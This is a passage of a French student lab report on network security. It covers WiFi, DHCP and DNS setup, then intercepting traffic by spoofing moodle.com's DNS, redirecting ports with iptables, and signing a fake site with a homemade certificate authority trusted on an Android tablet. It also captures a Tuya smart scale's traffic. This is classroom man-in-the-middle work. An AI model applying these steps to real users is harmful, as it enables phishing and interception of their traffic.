       valid_lft forever preferred_lft forever&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Et on constate que notre serveur a accès à Internet avec la commande &amp;lt;code&amp;gt;ping 8.8.8.8&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Point d'accès WiFi (29/09) =&lt;br /&gt;
Pour l'instant, nous mettons de côté ce point du TP car il n'est pas utile pour la suite.&lt;br /&gt;
&lt;br /&gt;
= Sécurisation WiFi par WPA2-PSK =&lt;br /&gt;
&lt;br /&gt;
Pour communiquer avec le routeur &amp;lt;code&amp;gt;Cisco&amp;lt;/code&amp;gt;, on branche le port série en USB et on se connecte avec la commande &amp;lt;code&amp;gt;minicom -D /dev/ttyUSB0 -b 9600&amp;lt;/code&amp;gt;. La première étape fut la création du SSID &amp;lt;code&amp;gt;SE5-SSID10&amp;lt;/code&amp;gt;.&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
dot11 ssid SE5-SSID10&lt;br /&gt;
&lt;br /&gt;
vlan 410&lt;br /&gt;
&lt;br /&gt;
authentication open&lt;br /&gt;
&lt;br /&gt;
authentication key-management wpa version 2&lt;br /&gt;
&lt;br /&gt;
wpa-psk ascii Cisco2025&lt;br /&gt;
&lt;br /&gt;
exit&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Puis, on configure l'interface &amp;lt;code&amp;gt;Dot11Radio0&amp;lt;/code&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
interface dot11radio 0&lt;br /&gt;
&lt;br /&gt;
encryption mode ciphers aes-ccm&lt;br /&gt;
&lt;br /&gt;
ssid SE5-SSID10&lt;br /&gt;
&lt;br /&gt;
station-role root&lt;br /&gt;
&lt;br /&gt;
no shutdown&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Après cela, on retourne sur notre serveur virtuel et on y implémente un serveur DHCP pour l'attribution des IP aux machines se connectant sur le routeur. On retrouve cette configuration dans &amp;lt;code&amp;gt;/etc/dhcp/dhcpd.conf&amp;lt;/code&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
# dhcpd.conf&lt;br /&gt;
&lt;br /&gt;
option domain-name &amp;quot;plil.info&amp;quot;;&lt;br /&gt;
option domain-name-servers ns.plil.info;&lt;br /&gt;
&lt;br /&gt;
default-lease-time 600;&lt;br /&gt;
max-lease-time 7200;&lt;br /&gt;
&lt;br /&gt;
ddns-update-style none;&lt;br /&gt;
&lt;br /&gt;
authoritative;&lt;br /&gt;
&lt;br /&gt;
subnet 172.16.10.0 netmask 255.255.255.0 {&lt;br /&gt;
  range 172.16.10.100 172.16.10.200;&lt;br /&gt;
  option domain-name-servers 172.16.10.1;&lt;br /&gt;
  option routers 172.16.10.1;&lt;br /&gt;
  default-lease-time 600;&lt;br /&gt;
  max-lease-time 7200;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Puis, on implémente un serveur DNS minimal dans le fichier &amp;lt;code&amp;gt;/etc/bind/named.conf.options&amp;lt;/code&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
options {&lt;br /&gt;
        directory &amp;quot;/var/cache/bind&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
        recursion yes;&lt;br /&gt;
        allow-query {172.16.10.0/24; 127.0.0.1;};&lt;br /&gt;
&lt;br /&gt;
         forwarders {&lt;br /&gt;
                8.8.8.8;&lt;br /&gt;
                1.1.1.1;&lt;br /&gt;
         };&lt;br /&gt;
&lt;br /&gt;
        dnssec-validation auto;&lt;br /&gt;
&lt;br /&gt;
        listen-on {127.0.0.1; 172.16.10.1;};&lt;br /&gt;
        listen-on-v6 { none; };&lt;br /&gt;
};&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Et enfin, on met en place une mascarade entre le VLAN 410 et le routeur du réseau des salles de projets pour donner l'accès à Internet.&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
Chain PREROUTING (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
&lt;br /&gt;
Chain INPUT (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
&lt;br /&gt;
Chain OUTPUT (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
&lt;br /&gt;
Chain POSTROUTING (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
  385  133K MASQUERADE  0    --  *      eth0    172.16.10.0/24       0.0.0.0/0&lt;br /&gt;
    0     0 MASQUERADE  0    --  *      eth0    172.16.10.0/24       0.0.0.0/0&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Interception de flux (30/09) =&lt;br /&gt;
&lt;br /&gt;
== Redirection par DNS ==&lt;br /&gt;
Pour cette partie, on va ajouter une zone primaire à notre serveur DNS avec le nom Internet du site que l'on veut rediriger vers notre machine.&lt;br /&gt;
&lt;br /&gt;
Ici, ce sera le merveilleux &amp;lt;code&amp;gt;moodle.com&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
D'abord, on modifie &amp;lt;code&amp;gt;/etc/bind/named.conf.local&amp;lt;/code&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
//&lt;br /&gt;
// Do any local configuration here&lt;br /&gt;
//&lt;br /&gt;
&lt;br /&gt;
// Consider adding the 1918 zones here, if they are not used in your&lt;br /&gt;
// organization&lt;br /&gt;
//include &amp;quot;/etc/bind/zones.rfc1918&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
zone &amp;quot;moodle.com&amp;quot; {&lt;br /&gt;
        type master;&lt;br /&gt;
        file &amp;quot;/etc/bind/db.moodle.com&amp;quot;;&lt;br /&gt;
};&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Puis, on crée la fameuse zone &amp;lt;code&amp;gt;db.moodle.com&amp;lt;/code&amp;gt; dans le même répertoire &amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
$TTL    200&lt;br /&gt;
@       IN      SOA     ns.moodle.com. admin.moodle.com. (&lt;br /&gt;
                        5       ;&lt;br /&gt;
                        3600    ;&lt;br /&gt;
                        1800    ;&lt;br /&gt;
                        604800  ;&lt;br /&gt;
                        86400   ;&lt;br /&gt;
)&lt;br /&gt;
        IN      NS      ns.moodle.com.&lt;br /&gt;
ns      IN      A       172.16.10.1&lt;br /&gt;
@       IN      A       172.16.10.1&lt;br /&gt;
www     IN      CNAME   ns&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour vérifier si notre configuration est correcte, on exécute ces deux commandes :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;sudo named-checkconf&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;sudo named-checkzone moodle.com /etc/bind/db.moodle.com&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Redirection réseau ==&lt;br /&gt;
Dans cette partie, on ajoute une règle &amp;lt;code&amp;gt;iptables&amp;lt;/code&amp;gt; pour rediriger le flux TCP vers un port local, le &amp;lt;code&amp;gt;8080&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;iptables -t nat -A PREROUTING -i eth0  -p tcp --dport 80 -j REDIRECT --to-ports 8080&amp;lt;/code&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
Chain PREROUTING (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
    0     0 REDIRECT   6    --  eth0   *       0.0.0.0/0            0.0.0.0/0            tcp dpt:80 redir ports 8080&lt;br /&gt;
&lt;br /&gt;
Chain INPUT (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
&lt;br /&gt;
Chain OUTPUT (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
&lt;br /&gt;
Chain POSTROUTING (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
  385  133K MASQUERADE  0    --  *      eth0    172.16.10.0/24       0.0.0.0/0&lt;br /&gt;
    0     0 MASQUERADE  0    --  *      eth0    172.16.10.0/24       0.0.0.0/0&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Serveur apache sécurise (04/10) ==&lt;br /&gt;
&lt;br /&gt;
Dans un premier temps, on va créer un certificat auto-signé :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;openssl req -x509 -nodes -days 365   -newkey rsa:2048   -keyout /etc/ssl/apache/apache-selfsigned.key   -out /etc/ssl/apache/apache-selfsigned.crt   -subj &amp;quot;/C=FR/ST=Nord/L=Lille/O=Popo/CN=moodle.com&amp;quot;&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Puis, on configure &amp;lt;code&amp;gt;Apache2&amp;lt;/code&amp;gt;&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
  GNU nano 7.2      /etc/apache2/sites-available/secure-site.conf&lt;br /&gt;
&amp;lt;VirtualHost *:443&amp;gt;&lt;br /&gt;
    ServerName moodle.com&lt;br /&gt;
&lt;br /&gt;
    DocumentRoot /var/www/html&lt;br /&gt;
&lt;br /&gt;
    SSLEngine on&lt;br /&gt;
    SSLCertificateFile /etc/ssl/apache/apache.crt&lt;br /&gt;
    SSLCertificateKeyFile /etc/ssl/apache/apache.key&lt;br /&gt;
&lt;br /&gt;
    # Optionnel : log&lt;br /&gt;
    ErrorLog ${APACHE_LOG_DIR}/ssl-error.log&lt;br /&gt;
    CustomLog ${APACHE_LOG_DIR}/ssl-access.log combined&lt;br /&gt;
&amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
# Redirection HTTP  ^f^r HTTPS&lt;br /&gt;
&amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
    ServerName moodle.com&lt;br /&gt;
    Redirect permanent / https://moodle.com/&lt;br /&gt;
&amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Maintenant, en prévision de la suite (voir explication dans Machine virtuelle Android), on va créer une autorité de certification nommée CertiFiable :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;openssl req -x509 -new -nodes -keyout ca.key -sha256 -days 365 -out ca.crt -subj &amp;quot;/CN=CertiFiable&amp;quot;&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Puis, on vient générer une demande de signature de certificat :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;openssl req -new -newkey rsa:2048 -nodes -keyout apache.key -out apache.csr -subj &amp;quot;/CN=moodle.com&amp;quot;&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Enfin, on vient signer le site avec le certificat de CertiFiable :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;openssl x509 -req -in apache.csr -CA ca.crt -CAkey ca.key -CAcreateserial -out apache.crt -days 365 -sha256&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Machine virtuelle &amp;lt;code&amp;gt;android&amp;lt;/code&amp;gt; =&lt;br /&gt;
&lt;br /&gt;
== Première tentative ==&lt;br /&gt;
Actuellement, si on navigue sur internet et que l'on se rend sur moodle.com, on atterrit bien sûr le faux Moodle, mais comme le téléphone ne connait pas l'autorité de certification nommé CertiFiable, on a le droit à ce magnifique message de connexion non sécurisée :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Avertissement moodle.png|sans_cadre]][[Fichier:Moodle le magnifique.png|sans_cadre]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Malheureusement, il est aujourd'hui impossible d'ajouter facilement une autorité de certification sur son téléphone.&lt;br /&gt;
&lt;br /&gt;
C'est pour cela qu'une solution proposée est d'installer une machine virtuelle d'une ancienne version d'&amp;lt;code&amp;gt;Android&amp;lt;/code&amp;gt; où il était possible d'en ajouter.&lt;br /&gt;
&lt;br /&gt;
En ayant suivi ce tuto (https://help.clouding.io/hc/en-us/articles/4405454393756-How-to-virtualize-Android-with-QEMU-KVM), j'ai réussi à installer une VM sur Zabeth4 (j'ai dû prendre une autre iso car celle du site était inaccessible). &lt;br /&gt;
&lt;br /&gt;
J'ai installé &amp;lt;code&amp;gt;VNC Viewer&amp;lt;/code&amp;gt; pour pouvoir manipuler la machine virtuelle.&lt;br /&gt;
&lt;br /&gt;
En étant sur la VM, j'ai pu me rendre compte qu'il n'était pas possible de se connecter au WiFi, c'est la connexion du pc qui est simulé comme un réseau WiFi dans la VM.&lt;br /&gt;
&lt;br /&gt;
J'ai pu réfléchir à deux solutions avant que la VM ne crash d'elle-même et soit impossible à redémarrer...&lt;br /&gt;
&lt;br /&gt;
La première est toute simple, connecter la Zabeth directement au WiFi, ce qui est difficile à distance. La seconde, qui est je pense possible, est de changer la carte réseau dans les fichiers de conf de la VM pour mettre celle supportant le WiFi.&lt;br /&gt;
&lt;br /&gt;
Je n'ai donc pu tester aucune de ces deux solutions, la VM n'étant plus.&lt;br /&gt;
&lt;br /&gt;
== Seconde tentative ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
qemu-system-x86_64 -net nic -net user -m 1024 -enable-kvm -display sdl -drive file=android.img,format=raw&lt;br /&gt;
&lt;br /&gt;
qemu-system-x86_64 -net nic -net user -m 1024 -enable-kvm -display sdl -drive file=android.img,format=raw -cdrom *android-x86*.iso -boot d&lt;br /&gt;
&lt;br /&gt;
qemu-system-x86_64     -m 2048     -enable-kvm     -cpu host     -smp 2     -display sdl     -drive file=android.img,format=raw,if=virtio     -usb     -device usb-host,vendorid=0x148f,productid=0x5370&lt;br /&gt;
&lt;br /&gt;
== Ultime tentative ==&lt;br /&gt;
//TO DO Ajouter méthode routage android Android studio.&lt;br /&gt;
&lt;br /&gt;
= Machine &amp;lt;code&amp;gt;android&amp;lt;/code&amp;gt; (06/10) =&lt;br /&gt;
Pour cette dernière partie, j'ai retrouvé une tablette sous &amp;lt;code&amp;gt;Android 4.4 KitKat&amp;lt;/code&amp;gt; qui permet d'ajouter des autorités de certification.&lt;br /&gt;
&lt;br /&gt;
C'est donc ce que j'ai fait :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Photo_certifiable.png|sans_cadre]]&lt;br /&gt;
&lt;br /&gt;
Maintenant, on constate en se connectant sur moodle.com à partir de cette tablette que l'on est bien redirigé vers le faux site et qu'il est sécurisé avec le magnifique cadenas vert.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Photo moodle.png|sans_cadre]]&lt;br /&gt;
&lt;br /&gt;
(cette page web date du 06/10/25, elle n'est plus valable depuis le 10/10/25...)&lt;br /&gt;
&lt;br /&gt;
= Nedis Wi-Fi Smart Personal Scales =&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Dans ce second TP, nous allons jouer avec ce pèse personne de nedis. &lt;br /&gt;
&lt;br /&gt;
Dans un premier temps, j'ai connecté la balance au résau SE5-SSID10.&lt;br /&gt;
&lt;br /&gt;
Puis j'ai remarqué que quand je tentai de me peser, la balance affiche err2.&lt;br /&gt;
&lt;br /&gt;
Après une courte investigation, il s'agit d'une balance qui émet des signaux électriques pour analyser la composition corporelle donc si on se pèse avec des chaussures, cela pose problème.&lt;br /&gt;
&lt;br /&gt;
Pour la suite du projet, on se pèsera avec les mains.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Poid_sur_app_nedis.png|sans_cadre]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On constate sur ces paquets la requête de la balance pour obtenir une IP, puis le moment ou elle l'obtient. A chaque fois qu'elle redémarre, elle vient récupérer une IP, elle n'aura donc pas forcement la 105.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Fichier:WS connection balance.png|sans_cadre|858x858px]]&lt;br /&gt;
&lt;br /&gt;
Je peux donc ping ma balance depuis mon pc (celui qui host ma vm)&lt;br /&gt;
&lt;br /&gt;
[[Fichier:PIng balance.png|sans_cadre]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
tcpdump -i eth1 -n port 53:&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
14:46:51.115996 IP 172.16.10.105.49153 &amp;gt; 172.16.10.1.53: 13861+ A? m2.tuyaeu.com. (31)&lt;br /&gt;
14:46:51.125611 IP 172.16.10.1.53 &amp;gt; 172.16.10.105.49153: 13861 3/0/0 A 3.120.92.134, A 18.184.31.90, A 35.156.44.172 (79)&lt;br /&gt;
14:46:51.168250 IP 172.16.10.105.49153 &amp;gt; 172.16.10.1.53: 59035+ A? a3.tuyaeu.com. (31)&lt;br /&gt;
14:46:51.177967 IP 172.16.10.1.53 &amp;gt; 172.16.10.105.49153: 59035 3/0/0 A 18.198.62.99, A 18.158.227.228, A 3.67.116.46 (79)&lt;br /&gt;
14:46:51.703179 IP 172.16.10.102.57661 &amp;gt; 172.16.10.1.53: 30982+ AAAA? a1.tuyaeu.com. (31)&lt;br /&gt;
14:46:51.706085 IP 172.16.10.102.57662 &amp;gt; 172.16.10.1.53: 15654+ A? a1.tuyaeu.com. (31)&lt;br /&gt;
14:46:51.713159 IP 172.16.10.1.53 &amp;gt; 172.16.10.102.57661: 30982 3/0/0 AAAA 2a05:d014:afa:af02:262a:be09:e328:ff21, AAAA 2a05:d014:afa:af01:87dc:dc67:35a1:5bfe, AAAA 2a05:d014:afa:af00:1ee2:1f00:e061:e8bf (115)&lt;br /&gt;
14:46:51.715736 IP 172.16.10.1.53 &amp;gt; 172.16.10.102.57662: 15654 3/0/0 A 3.78.92.3, A 35.159.150.3, A 3.121.33.91 (79)&lt;br /&gt;
&lt;br /&gt;
56 packets captured&lt;br /&gt;
56 packets received by filter&lt;br /&gt;
0 packets dropped by kernel&lt;br /&gt;
[4343449.827028] device eth1 left promiscuous mode&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;visiblement notre balance communque avec tuya via m2.tuyaeu.com et a3.tuyaeu.com&lt;br /&gt;
&lt;br /&gt;
et la vm android a1.tuyaeu.com&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
tcpdump -i eth1 -n port 53: après avoir crée dns, site, etc a1.tuyaeu.com&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
root@SE5:/etc/apache2/sites-available# tcpdump -i eth1 -n port 53&lt;br /&gt;
[5544865.540418] device eth1 entered promiscuous mode&lt;br /&gt;
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode&lt;br /&gt;
listening on eth1, link-type EN10MB (Ethernet), snapshot length 262144 bytes&lt;br /&gt;
12:30:55.146437 IP 172.16.10.1.53 &amp;gt; 172.16.10.100.17620: 23156 5/0/0 CNAME reddit.map.fastly.net., A 151.101.129.140, A&lt;br /&gt;
 151.101.1.140, A 151.101.65.140, A 151.101.193.140 (129)&lt;br /&gt;
12:30:55.168796 IP 172.16.10.1.53 &amp;gt; 172.16.10.100.24249: 64622 2/0/0 CNAME us-central1-gcp.api.sc-gw.com., A 35.190.43.&lt;br /&gt;
134 (109)&lt;br /&gt;
12:30:55.322498 IP 172.16.10.100.26394 &amp;gt; 172.16.10.1.53: 29420+ A? scontent-cdg4-1.xx.fbcdn.net. (46)&lt;br /&gt;
12:30:56.095075 IP 172.16.10.100.62675 &amp;gt; 172.16.10.1.53: 46396+ A? cf-st.sc-cdn.net. (34)&lt;br /&gt;
12:30:56.121796 IP 172.16.10.1.53 &amp;gt; 172.16.10.100.62675: 46396 1/0/0 A 3.163.248.4 (50)&lt;br /&gt;
12:30:56.539099 IP 172.16.10.1.53 &amp;gt; 172.16.10.100.26394: 29420 1/0/0 A 185.60.219.2 (62)&lt;br /&gt;
12:30:57.289763 IP 172.16.10.100.7071 &amp;gt; 172.16.10.1.53: 14247+ A? usc1-gcp-v62.api.snapchat.com. (47)&lt;br /&gt;
12:30:57.302767 IP 172.16.10.1.53 &amp;gt; 172.16.10.100.7071: 14247 2/0/0 CNAME usc1-gcp-v62.api.sc-gw.com., A 34.120.159.232&lt;br /&gt;
 (103)&lt;br /&gt;
12:30:58.490060 IP 172.16.10.105.49153 &amp;gt; 172.16.10.1.53: 50294+ A? m2.tuyaeu.com. (31)&lt;br /&gt;
12:30:58.490174 IP 172.16.10.1.53 &amp;gt; 172.16.10.105.49153: 50294* 2/0/0 CNAME ns.tuyaeu.com., A 172.16.10.1 (64)&lt;br /&gt;
12:30:58.540041 IP 172.16.10.105.49153 &amp;gt; 172.16.10.1.53: 23785+ A? a3.tuyaeu.com. (31)&lt;br /&gt;
12:30:58.540132 IP 172.16.10.1.53 &amp;gt; 172.16.10.105.49153: 23785* 2/0/0 CNAME ns.tuyaeu.com., A 172.16.10.1 (64)&lt;br /&gt;
12:31:00.979103 IP 172.16.10.100.63625 &amp;gt; 172.16.10.1.53: 63574+ A? gql-fed.reddit.com. (36)&lt;br /&gt;
12:31:00.997721 IP 172.16.10.1.53 &amp;gt; 172.16.10.100.63625: 63574 5/0/0 CNAME reddit.map.fastly.net., A 151.101.65.140, A &lt;br /&gt;
151.101.129.140, A 151.101.193.140, A 151.101.1.140 (135)&lt;br /&gt;
12:31:04.461507 IP 172.16.10.102.63971 &amp;gt; 172.16.10.1.53: 20792+ A? discord.com. (29)&lt;br /&gt;
12:31:04.461519 IP 172.16.10.102.54572 &amp;gt; 172.16.10.1.53: 15444+ Type65? discord.com. (29)&lt;br /&gt;
12:31:04.493098 IP 172.16.10.1.53 &amp;gt; 172.16.10.102.63971: 20792 5/0/0 A 162.159.138.232, A 162.159.136.232, A 162.159.12&lt;br /&gt;
8.233, A 162.159.135.232, A 162.159.137.232 (109)&lt;br /&gt;
12:31:04.493306 IP 172.16.10.1.53 &amp;gt; 172.16.10.102.54572: 15444 1/0/5 Type65 (158)&lt;br /&gt;
18 packets captured&lt;br /&gt;
18 packets received by filter&lt;br /&gt;
0 packets dropped by kernel&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;tcpdump -i eth1 host 172.16.10.105 and not port 53 -A&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode&lt;br /&gt;
listening on eth1, link-type EN10MB (Ethernet), snapshot length 262144 bytes&lt;br /&gt;
12:36:41.148741 IP 172.16.10.0.bootps &amp;gt; 172.16.10.105.bootpc: BOOTP/DHCP, Reply, length 300&lt;br /&gt;
E..H..........&lt;br /&gt;
...&lt;br /&gt;
i.C.D.4......&amp;lt;\)...........&lt;br /&gt;
i..........|.-L........................................................................................................&lt;br /&gt;
..................................................................................................c.Sc5..6...&lt;br /&gt;
.3....X..........&lt;br /&gt;
.....&lt;br /&gt;
..	plil.info................&lt;br /&gt;
12:36:41.161323 IP 172.16.10.0.bootps &amp;gt; 172.16.10.105.bootpc: BOOTP/DHCP, Reply, length 300&lt;br /&gt;
E..H..........&lt;br /&gt;
...&lt;br /&gt;
i.C.D.4g.....[.}T..........&lt;br /&gt;
i..........|.-L........................................................................................................&lt;br /&gt;
..................................................................................................c.Sc5..6...&lt;br /&gt;
.3....X..........&lt;br /&gt;
.....&lt;br /&gt;
..	plil.info................&lt;br /&gt;
12:36:41.167616 ARP, Request who-has 172.16.10.105 tell 0.0.0.0, length 46&lt;br /&gt;
..........|.-L............&lt;br /&gt;
i....P....Y...c....&lt;br /&gt;
12:36:41.490919 ARP, Request who-has 172.16.10.105 tell 0.0.0.0, length 46&lt;br /&gt;
..........|.-L............&lt;br /&gt;
i.r.u....).........&lt;br /&gt;
12:36:41.993612 ARP, Request who-has 172.16.10.105 tell 172.16.10.105, length 46&lt;br /&gt;
..........|.-L..&lt;br /&gt;
i........&lt;br /&gt;
i..HE.....f........&lt;br /&gt;
12:36:42.011664 ARP, Request who-has 172.16.10.1 tell 172.16.10.105, length 46&lt;br /&gt;
..........|.-L..&lt;br /&gt;
i........&lt;br /&gt;
.....up. ..........&lt;br /&gt;
12:36:42.011672 ARP, Reply 172.16.10.1 is-at 00:16:3e:23:74:42 (oui Unknown), length 28&lt;br /&gt;
..........&amp;gt;#tB..&lt;br /&gt;
...|.-L..&lt;br /&gt;
i&lt;br /&gt;
12:36:42.019053 IP 172.16.10.105.3872 &amp;gt; 172.16.10.1.8886: Flags [S], seq 6509, win 4380, options [mss 1460], length 0&lt;br /&gt;
E..,......O&amp;gt;..&lt;br /&gt;
i..&lt;br /&gt;
.. &amp;quot;....m....`....&amp;lt;........&lt;br /&gt;
12:36:42.019100 IP 172.16.10.1.8886 &amp;gt; 172.16.10.105.3872: Flags [R.], seq 0, ack 6510, win 0, length 0&lt;br /&gt;
E..(..@.@..E..&lt;br /&gt;
...&lt;br /&gt;
i&amp;quot;.. .......nP.......&lt;br /&gt;
12:36:42.070419 IP 172.16.10.105.17034 &amp;gt; 172.16.10.1.https: Flags [S], seq 6509, win 4380, options [mss 1460], length 0&lt;br /&gt;
E..,......O&amp;lt;..&lt;br /&gt;
i..&lt;br /&gt;
.B......m....`...........&amp;lt;.&lt;br /&gt;
12:36:42.070442 IP 172.16.10.1.https &amp;gt; 172.16.10.105.17034: Flags [S.], seq 3767910189, ack 6510, win 64240, options [m&lt;br /&gt;
ss 1460], length 0&lt;br /&gt;
E..,..@.@..A..&lt;br /&gt;
...&lt;br /&gt;
i..B....-...n`...l.......&lt;br /&gt;
12:36:42.077437 IP 172.16.10.105.17034 &amp;gt; 172.16.10.1.https: Flags [.], ack 1, win 4380, length 0&lt;br /&gt;
E..(......O?..&lt;br /&gt;
i..&lt;br /&gt;
.B......n....P...4......&lt;br /&gt;
..&lt;br /&gt;
12:36:42.079986 IP 172.16.10.105.17034 &amp;gt; 172.16.10.1.https: Flags [P.], seq 1:68, ack 1, win 4380, length 67&lt;br /&gt;
E..k......N...&lt;br /&gt;
i..&lt;br /&gt;
.B......n....P...........&amp;gt;...:..BAohBAohbmd6aG91IFR1eVjaG5vbG9SB........................&lt;br /&gt;
12:36:42.080012 IP 172.16.10.1.https &amp;gt; 172.16.10.105.17034: Flags [.], ack 68, win 64173, length 0&lt;br /&gt;
E..(..@.@.....&lt;br /&gt;
...&lt;br /&gt;
i..B.........P...l...&lt;br /&gt;
12:36:42.080447 IP 172.16.10.1.https &amp;gt; 172.16.10.105.17034: Flags [P.], seq 1:8, ack 68, win 64173, length 7&lt;br /&gt;
E../..@.@.....&lt;br /&gt;
...&lt;br /&gt;
i..B.........P...l.........(&lt;br /&gt;
12:36:42.080533 IP 172.16.10.1.https &amp;gt; 172.16.10.105.17034: Flags [F.], seq 8, ack 68, win 64173, length 0&lt;br /&gt;
E..(..@.@.....&lt;br /&gt;
...&lt;br /&gt;
i..B....5....P...l...&lt;br /&gt;
12:36:42.101652 IP 172.16.10.105.17034 &amp;gt; 172.16.10.1.https: Flags [.], ack 8, win 4373, length 0&lt;br /&gt;
E..(.	....O&amp;lt;..&lt;br /&gt;
i..&lt;br /&gt;
.B..........5P...4s........&lt;br /&gt;
12:36:42.102116 IP 172.16.10.105.17034 &amp;gt; 172.16.10.1.https: Flags [R.], seq 68, ack 8, win 4380, length 0&lt;br /&gt;
E..(.&lt;br /&gt;
....O;..&lt;br /&gt;
i..&lt;br /&gt;
.B..........5P...4h.....&lt;br /&gt;
..&lt;br /&gt;
12:36:43.025368 IP 172.16.10.105.23869 &amp;gt; 172.16.10.1.8886: Flags [S], seq 6511, win 4380, options [mss 1460], length 0&lt;br /&gt;
E..,......O6..&lt;br /&gt;
i..&lt;br /&gt;
.]=&amp;quot;....o....`............9&lt;br /&gt;
12:36:43.025387 IP 172.16.10.1.8886 &amp;gt; 172.16.10.105.23869: Flags [R.], seq 0, ack 6512, win 0, length 0&lt;br /&gt;
E..(..@.@..E..&lt;br /&gt;
...&lt;br /&gt;
i&amp;quot;.]=.......pP.......&lt;br /&gt;
12:36:44.025225 IP 172.16.10.105.22317 &amp;gt; 172.16.10.1.8886: Flags [S], seq 6513, win 4380, options [mss 1460], length 0&lt;br /&gt;
E..,......O5..&lt;br /&gt;
i..&lt;br /&gt;
.W-&amp;quot;....q....`....+........&lt;br /&gt;
12:36:44.025269 IP 172.16.10.1.8886 &amp;gt; 172.16.10.105.22317: Flags [R.], seq 0, ack 6514, win 0, length 0&lt;br /&gt;
E..(..@.@..E..&lt;br /&gt;
...&lt;br /&gt;
i&amp;quot;.W-.......rP.......&lt;br /&gt;
